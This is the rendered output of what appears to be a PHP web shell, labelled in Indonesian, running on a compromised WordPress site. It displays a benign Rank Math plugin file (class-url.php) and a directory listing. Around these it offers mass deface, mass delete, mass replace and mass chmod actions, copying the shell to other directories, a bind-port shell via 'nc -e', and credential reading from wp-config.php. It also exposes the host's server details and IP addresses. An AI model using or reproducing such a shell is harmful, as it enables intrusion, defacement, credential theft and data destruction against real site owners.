WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/helpers/class-url.php (3.91 KB)
<?php
/**
 * The URL helpers.
 *
 * @since      1.0.0
 * @package    RankMath
 * @subpackage RankMath\Helpers
 * @author     RankMath <support@rankmath.com>
 */

namespace RankMath\Helpers;

use RankMath\Helpers\Str;
use RankMath\Helpers\Param;

/**
 * Url class.
 */
class Url {

	/**
	 * Simple check for validating a URL, it must start with http:// or https://.
	 * and pass FILTER_VALIDATE_URL validation.
	 *
	 * @param string $url to check.
	 *
	 * @return bool
	 */
	public static function is_url( $url ) {
		if ( ! is_string( $url ) ) {
			return false;
		}

		// Must start with http:// or https://.
		if ( 0 !== strpos( $url, 'http://' ) && 0 !== strpos( $url, 'https://' ) && 0 !== strpos( $url, '//' ) ) {
			return false;
		}

		// Check for scheme first, if it's missing then add it.
		if ( 0 === strpos( $url, '//' ) ) {
			$url = 'http:' . $url;
		}

		// Must pass validation.
		return false !== filter_var( trailingslashit( $url ), FILTER_VALIDATE_URL ) ? true : false;
	}

	/**
	 * Check whether a url is relative.
	 *
	 * @param string $url URL string to check.
	 *
	 * @return bool
	 */
	public static function is_relative( $url ) {
		return ( 0 !== strpos( $url, 'http' ) && 0 !== strpos( $url, '//' ) );
	}

	/**
	 * Checks whether a url is external.
	 *
	 * @param string $url    URL string to check. This should be a absolute URL.
	 * @param string $domain If wants to use some other domain not home_url().
	 *
	 * @return bool
	 */
	public static function is_external( $url, $domain = false ) {
		if ( empty( $url ) || '#' === $url[0] ) { // Link to current page.
			return false;
		}

		if ( self::is_affiliate( $url ) ) {
			return true;
		}

		if ( '/' === $url[0] ) { // Link to current page or relative link.
			return false;
		}

		$domain = self::get_domain( $domain ? $domain : home_url() );
		if ( Str::contains( $domain, $url ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks whether a link is an affiliate link.
	 *
	 * @param string $url URL string to check. This should be a absolute URL.
	 *
	 * @return bool
	 */
	public static function is_affiliate( $url ) {
		if ( empty( $url ) ) {
			return false;
		}

		/**
		 * Filter: 'wp_helpers_is_affiliate_link' - Allows developer to consider a link as affiliate.
		 *
		 * @param bool   $value Default false.
		 * @param string $url URL.
		 */
		return apply_filters( 'wp_helpers_is_affiliate_link', false, $url );
	}

	/**
	 * Get current url.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string
	 */
	public static function get_current_url() {
		return self::get_scheme() . '://' . self::get_host() . self::get_port() . Param::server( 'REQUEST_URI' );
	}

	/**
	 * Get url scheme.
	 *
	 * @return string
	 */
	public static function get_scheme() {
		return is_ssl() ? 'https' : 'http';
	}

	/**
	 * Some setups like HTTP_HOST, some like SERVER_NAME, it's complicated.
	 *
	 * @link http://stackoverflow.com/questions/2297403/http-host-vs-server-name
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string the HTTP_HOST or SERVER_NAME
	 */
	public static function get_host() {
		$host = Param::server( 'HTTP_HOST' );
		if ( false !== $host ) {
			return $host;
		}

		$name = Param::server( 'SERVER_NAME' );
		if ( false !== $name ) {
			return $name;
		}

		return '';
	}

	/**
	 * Get current request port.
	 *
	 * @return string
	 */
	public static function get_port() {
		$port     = Param::server( 'SERVER_PORT' );
		$has_port = $port && ! in_array( $port, [ '80', '443' ], true );
		return $has_port ? ':' . $port : '';
	}

	/**
	 * Get parent domain
	 *
	 * @param string $url Url to parse.
	 *
	 * @return string
	 */
	public static function get_domain( $url ) {
		$pieces = wp_parse_url( $url );
		$domain = isset( $pieces['host'] ) ? $pieces['host'] : '';

		if ( Str::contains( 'localhost', $domain ) ) {
			return 'localhost';
		}

		if ( preg_match( '/(?P<domain>[a-zÀ-ž0-9][a-zÀ-ž0-9\-]{1,63}\.[a-zÀ-ž\.]{2,15})$/ui', $domain, $regs ) ) {
			return $regs['domain'];
		}

		return false;
	}
}
namawaktuukuranownerpermaksi
..
class-analytics.php 2026-07-21 14:141.9 KB 76129f60960:kunden-xw-x-----
edt
class-api.php 2026-07-21 14:143.43 KB 76129f60960:kunden-xw-x-----
edt
class-arr.php 2026-07-21 14:144.19 KB 76129f60960:kunden-xw-x-----
edt
class-attachment.php 2026-07-21 14:144.13 KB 76129f60960:kunden-xw-x-----
edt
class-choices.php 2026-07-21 14:1425.38 KB 76129f60960:kunden-xw-x-----
edt
class-conditional.php 2026-07-21 14:1410.34 KB 76129f60960:kunden-xw-x-----
edt
class-content-ai.php 2026-07-21 14:1415.8 KB 76129f60960:kunden-xw-x-----
edt
class-db.php 2026-07-21 14:147.66 KB 76129f60960:kunden-xw-x-----
edt
class-editor.php 2026-07-21 14:14765 B 76129f60960:kunden-xw-x-----
edt
class-html.php 2026-07-21 14:141.8 KB 76129f60960:kunden-xw-x-----
edt
class-locale.php 2026-07-21 14:14945 B 76129f60960:kunden-xw-x-----
edt
class-options.php 2026-07-21 14:141.79 KB 76129f60960:kunden-xw-x-----
edt
class-param.php 2026-07-21 14:142.39 KB 76129f60960:kunden-xw-x-----
edt
class-post-type.php 2026-07-21 14:144.88 KB 76129f60960:kunden-xw-x-----
edt
class-schedule.php 2026-07-21 14:145.42 KB 76129f60960:kunden-xw-x-----
edt
class-schema.php 2026-07-21 14:143.96 KB 76129f60960:kunden-xw-x-----
edt
class-security.php 2026-07-21 14:141.38 KB 76129f60960:kunden-xw-x-----
edt
class-sitepress.php 2026-07-21 14:143.92 KB 76129f60960:kunden-xw-x-----
edt
class-str.php 2026-07-21 14:146.69 KB 76129f60960:kunden-xw-x-----
edt
class-taxonomy.php 2026-07-21 14:145.26 KB 76129f60960:kunden-xw-x-----
edt
class-url.php 2026-07-21 14:143.91 KB 76129f60960:kunden-xw-x-----
edt
class-wordpress.php 2026-07-21 14:1422.12 KB 76129f60960:kunden-xw-x-----
edt
index.php 2026-07-21 14:1428 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/helpers
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK